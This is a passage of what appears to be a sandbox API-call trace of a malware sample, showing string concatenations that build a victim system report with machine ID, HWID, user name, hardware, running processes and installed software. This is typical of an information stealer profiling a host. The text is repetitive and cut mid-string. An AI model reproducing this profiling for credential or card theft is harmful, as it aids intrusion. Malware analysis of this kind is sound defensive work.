utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016"
[0054.969] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="16.0.4266.1001", lpcbData=0x1816c0*=0xf) returned 0x0
[0054.969] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 ["
[0054.969] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 